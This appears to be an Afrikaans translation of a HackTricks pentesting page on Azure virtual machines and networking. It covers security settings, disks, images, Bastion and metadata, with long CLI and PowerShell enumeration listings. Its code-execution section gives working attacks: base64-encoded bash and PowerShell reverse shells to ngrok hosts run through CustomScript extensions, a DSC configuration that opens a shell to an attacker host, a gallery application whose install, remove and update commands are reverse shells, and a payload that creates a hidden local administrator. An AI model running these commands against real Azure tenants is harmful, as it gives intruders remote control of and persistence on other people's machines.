# Az - Virtuele Masjiene & Netwerk

{{#include ../../../../banners/hacktricks-training.md}}

## Azure Netwerk Basiese Inligting

Azure netwerke bevat **verskillende entiteite en maniere om dit te konfigureer.** Jy kan 'n kort **beskrywings,** **voorbeelde** en **enumerasie** opdragte van die verskillende Azure netwerk entiteite vind in:

{{#ref}}
az-azure-network.md
{{#endref}}

## VMs Basiese inligting

Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedieners wat jou toelaat om Windows of Linux bedryfstelsels te draai**. Hulle stel jou in staat om toepassings en werklas te ontplooi sonder om fisiese hardeware te bestuur. Azure VMs kan gekonfigureer word met verskillende CPU, geheue, en stoor opsies om spesifieke behoeftes te voldoen en te integreer met Azure dienste soos virtuele netwerke, stoor, en sekuriteitsinstrumente.

### Sekuriteitskonfigurasies

- **Beschikbaarheidsgebiede**: Beschikbaarheidsgebiede is afsonderlike groepe datacenters binne 'n spesifieke Azure streek wat fisies geskei is om die risiko te minimaliseer dat verskeie gebiede deur plaaslike onderbrekings of rampe geraak word.
- **Sekuriteitstipe**:
- **Standaard Sekuriteit**: Dit is die standaard sekuriteitstipe wat nie enige spesifieke konfigurasie vereis nie.
- **Vertroude Ontplooiing**: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernvlak malware deur gebruik te maak van Secure Boot en Virtual Trusted Platform Module (vTPM).
- **Vertrouelike VMs**: Bo-op 'n vertroude ontplooiing, bied dit hardeware-gebaseerde isolasie tussen die VM, hypervisor en gasheerbestuur, verbeter die skyfversleuteling en [**meer**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Verifikasie**: Standaard word 'n nuwe **SSH-sleutel gegenereer**, alhoewel dit moontlik is om 'n publieke sleutel te gebruik of 'n vorige sleutel te gebruik en die gebruikersnaam is standaard **azureuser**. Dit is ook moontlik om te konfigureer om 'n **wagwoord** te gebruik.
- **VM skyfversleuteling:** Die skyf is standaard versleuteld wanneer dit rus met 'n platform bestuurde sleutel.
- Dit is ook moontlik om **Versleuteling by die gasheer** in te skakel, waar die data versleuteld sal word in die gasheer voordat dit na die stoor diens gestuur word, wat 'n einde-tot-einde versleuteling tussen die gasheer en die stoor diens verseker ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC netwerk sekuriteitsgroep**:
- **Geen**: Basies elke poort oopmaak
- **Basies**: Laat toe om die inkomende poorte HTTP (80), HTTPS (443), SSH (22), RDP (3389) maklik oop te maak
- **Geavanceerd**: Kies 'n sekuriteitsgroep
- **Rugsteun**: Dit is moontlik om **Standaard** rugsteun (een per dag) en **Verbeterde** (meerdere per dag) in te skakel
- **Patching orkestrasie opsies**: Dit stel in staat om outomaties opdaterings in die VMs toe te pas volgens die geselekteerde beleid soos beskryf in die [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Waarskuwings**: Dit is moontlik om outomaties waarskuwings per e-pos of mobiele toepassing te ontvang wanneer iets in die VM gebeur. Standaard reëls:
- Persentasie CPU is groter as 80%
- Beskikbare Geheue Bytes is minder as 1GB
- Data Skywe IOPS Verbruikte Persentasie is groter as 95%
- OS IOPS Verbruikte Persentasie is groter as 95%
- Netwerk in Totaal is groter as 500GB
- Netwerk Uit Totaal is groter as 200GB
- VmAvailabilityMetric is minder as 1
- **Gesondheidsmonitor**: Standaard kontroleer protokol HTTP op poort 80
- **Slots**: Dit laat toe om 'n VM te vergrendel sodat dit net gelees kan word (**ReadOnly** slot) of dit kan gelees en opgedateer word maar nie verwyder word nie (**CanNotDelete** slot).
- Meeste VM verwante hulpbronne **ondersteun ook slots** soos skywe, snappings...
- Slots kan ook toegepas word op **hulpbron groep en subskripsie vlakke**

## Skywe & snappings

- Dit is moontlik om **'n skyf aan 2 of meer VMs te koppel**
- Standaard is elke skyf **versleuteld** met 'n platform sleutel.
- Dieselfde in snappings
- Standaard is dit moontlik om **die skyf van alle netwerke te deel**, maar dit kan ook **beperk** word tot slegs sekere **privaat toegang** of om **publieke en private toegang heeltemal te deaktiveer**.
- Dieselfde in snappings
- Dit is moontlik om **'n SAS URI** (maks 60 dae) te **genereer om die skyf te eksporteer**, wat gekonfigureer kan word om verifikasie te vereis of nie
- Dieselfde in snappings

{{#tabs}}
{{#tab name="az cli"}}
```bash
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
# List all disks
Get-AzDisk

# Get info about a disk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab}}
{{#endtabs}}

## Beelde, Galery Beelde & Herstelpunte

'n **VM beeld** is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n **nuwe virtuele masjien (VM)** te **skep**. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld **meerdere skywe kan bevat en ontwerp is om as 'n sjabloon te dien vir die skep van nuwe VM's**.\
Beelde kan bestuur word in die **Beelde afdeling** van Azure of binne **Azure rekenaar galerye** wat dit moontlik maak om **weergawe** te genereer en die beeld oor huurders te **deel** of selfs dit publiek te maak.

'n **herstelpunt** stoor die VM-konfigurasie en **punt-in-tyd** toepassings-konsistente **snapshots van al die bestuurde skywe** wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was in daardie spesifieke punt in tyd.

{{#tabs}}
{{#tab name="az cli"}}
```bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>

## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>

# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab}}
{{#endtabs}}

## Azure Site Recovery

Van die [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery help om besigheidskontinuitiet te verseker deur besigheidsprogramme en werklas aan die gang te hou tydens onderbrekings. Site Recovery **repliceer werklas** wat op fisiese en virtuele masjiene (VMs) van 'n primêre plek na 'n sekondêre ligging loop. Wanneer 'n onderbreking by jou primêre plek plaasvind, kan jy oor na 'n sekondêre ligging, en toegang tot programme van daar. Nadat die primêre ligging weer aan die gang is, kan jy terugkeer na dit.

## Azure Bastion

Azure Bastion stel veilige en naatlose **Remote Desktop Protocol (RDP)** en **Secure Shell (SSH)** toegang tot jou virtuele masjiene (VMs) direk deur die Azure Portal of via 'n jump box. Deur **die behoefte aan publieke IP adresse** op jou VMs te verwyder.

Die Bastion ontplooi 'n subnet genaamd **`AzureBastionSubnet`** met 'n `/26` netmask in die VNet waarin dit moet werk. Dan, dit stel jou in staat om **verbinding te maak met interne VMs deur die blaaiers** met behulp van `RDP` en `SSH` en vermy om poorte van die VMs aan die Internet bloot te stel. Dit kan ook as 'n **jump host** werk.

Om al die Azure Bastion Hosts in jou subskripsie te lys en om met VMs deur hulle te verbind, kan jy die volgende opdragte gebruik:

{{#tabs}}
{{#tab name="az cli"}}
```bash
# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```bash
# List bastions
Get-AzBastion
```
{{#endtab}}
{{#endtabs}}

## Metadata

Die Azure Instance Metadata Service (IMDS) **verskaf inligting oor lopende virtuele masjieninstansies** om te help met hul bestuur en konfigurasie. Dit bied besonderhede soos die SKU, stoor, netwerk konfigurasies, en inligting oor komende onderhoudsgeleenthede via **REST API beskikbaar by die nie-routable IP adres 169.254.169.254**, wat slegs vanaf binne die VM toeganklik is. Kommunikasie tussen die VM en IMDS bly binne die gasheer, wat veilige toegang verseker. Wanneer daar na IMDS gevra word, moet HTTP-kliënte binne die VM web-proxies omseil om behoorlike kommunikasie te verseker.

Boonop, om die metadata-eindpunt te kontak, moet die HTTP-versoek die koptekst **`Metadata: true`** hê en mag nie die koptekst **`X-Forwarded-For`** hê nie.

Kyk hoe om dit te enumerate in:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}

## VM Enumeration

{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}

{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)


# Disks
## List all disks and get info about one
Get-AzDisk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>

# Snapshots
## List all galleries abd get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all snapshots and get info about one
Get-AzSnapshot
Get-AzSnapshot -Name <SnapshotName> -ResourceGroupName <ResourceGroupName>

## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>

## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>

# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>

# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>

# Bastion
## List bastions
Get-AzBastion

# Network
## List all VNets in your subscription
Get-AzVirtualNetwork

## List VNet peering connections for a given VNet
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings

## List Shared Resources (e.g., Azure Firewall) in the Hub
Get-AzFirewall

## List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>

## List VPN Connections
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>

## List ExpressRoute Circuits
Get-AzExpressRouteCircuit

# Misc
## List all virtual machine scale sets
Get-AzVmss

## List all availability sets
Get-AzAvailabilitySet

## List all load balancers
Get-AzLoadBalancer

## List all storage accounts
Get-AzStorageAccount

## List all custom script extensions on a specific VM
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>

```
{{#endtab }}
{{#endtabs }}

## Kode-uitvoering in VM's

### VM-uitbreidings

Azure VM-uitbreidings is klein toepassings wat **post-implementasie konfigurasie** en outomatisering take op Azure virtuele masjiene (VM's) bied.

Dit sal toelaat om **arbitraire kode binne VM's uit te voer**.

Die vereiste toestemming is **`Microsoft.Compute/virtualMachines/extensions/write`**.

Dit is moontlik om al die beskikbare uitbreidings te lys met:

{{#tabs }}
{{#tab name="Az Cli" }}
```bash
# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
{{#endtab }}
{{#endtabs }}

Dit is moontlik om **aangepaste uitbreidings te loop wat aangepaste kode uitvoer**:

{{#tabs }}
{{#tab name="Linux" }}

- Voer 'n terugshell uit
```bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- Voer 'n skrip uit wat op die internet geleë is
```bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
```
{{#endtab }}

{{#tab name="Windows" }}

- Voer 'n omgekeerde skulp uit
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand  "}'

```
- Voer omgekeerde dop uit vanaf lêer
```bash
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
U kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`

- Herstel wagwoord met behulp van die VMAccess-uitbreiding
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
{{#endtab }}
{{#endtabs }}

### Relevante VM-uitbreidings

Die vereiste toestemming is steeds **`Microsoft.Compute/virtualMachines/extensions/write`**.

<details>

<summary>VMAccess-uitbreiding</summary>

Hierdie uitbreiding stel jou in staat om die wagwoord te wysig (of te skep as dit nie bestaan nie) van gebruikers binne Windows VM's.
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
</details>

<details>

<summary>DesiredStateConfiguration (DSC)</summary>

Dit is 'n **VM-uitbreiding** wat aan Microsoft behoort en PowerShell DSC gebruik om die konfigurasie van Azure Windows VMs te bestuur. Daarom kan dit gebruik word om **arbitraire opdragte** in Windows VMs deur hierdie uitbreiding uit te voer:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
```
</details>

<details>

<summary>Hibriede Runbook Werker</summary>

Dit is 'n VM-uitbreiding wat sal toelaat om runbooks in VM's vanaf 'n outomatiseringsrekening uit te voer. Vir meer inligting, kyk na die [Outomatiseringsrekeninge diens](../az-automation-account/index.html).

</details>

### VM Toepassings

Dit is pakkette met al die **toepassingdata en installasie- en de-installasieskripte** wat gebruik kan word om maklik toepassings in VM's by te voeg en te verwyder.
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```
Hierdie is die paaie waar die toepassings binne die lêerstelsel afgelaai word:

- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`

Kyk hoe om nuwe toepassings te installeer in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)

> [!CAUTION]
> Dit is moontlik om **individuele toepassings en galerye met ander subskripsies of huurders te deel**. Wat baie interessant is omdat dit 'n aanvaller in staat kan stel om 'n toepassing te backdoor en na ander subskripsies en huurders te pivot.

Maar daar **is nie 'n "markplek" vir vm toepassings** soos daar is vir uitbreidings nie.

Die vereiste toestemmings is:

- `Microsoft.Compute/galleries/applications/write`
- `Microsoft.Compute/galleries/applications/versions/write`
- `Microsoft.Compute/virtualMachines/write`
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`

Eksploitasiemodel om arbitrêre opdragte uit te voer:

{{#tabs }}
{{#tab name="Linux" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
```
{{#endtab }}

{{#tab name="Windows" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
```
{{#endtab }}
{{#endtabs }}

### Gebruikersdata

Dit is **volhardende data** wat enige tyd van die metadata-eindpunt verkry kan word. Let daarop dat gebruikersdata in Azure verskil van AWS en GCP omdat **as jy 'n skrip hier plaas, dit nie standaard uitgevoer word nie**.

### Pasgemaakte data

Dit is moontlik om 'n paar data aan die VM deur te gee wat in verwagte paaie gestoor sal word:

- In **Windows** word pasgemaakte data in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as 'n binêre lêer geplaas en dit word nie verwerk nie.
- In **Linux** is dit gestoor in `/var/lib/waagent/ovf-env.xml` en nou is dit gestoor in `/var/lib/waagent/CustomData/ovf-env.xml`
- **Linux-agent**: Dit verwerk nie pasgemaakte data standaard nie, 'n pasgemaakte beeld met die data geaktiveer is nodig
- **cloud-init:** Standaard verwerk dit pasgemaakte data en hierdie data kan in [**verskeie formate**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) wees. Dit kan 'n skrip maklik uitvoer deur net die skrip in die pasgemaakte data te stuur.
- Ek het probeer dat beide Ubuntu en Debian die skrip uitvoer wat jy hier plaas.
- Dit is ook nie nodig om gebruikersdata te aktiveer vir dit om uitgevoer te word nie.
```bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
```
### **Voer Opdrag Uit**

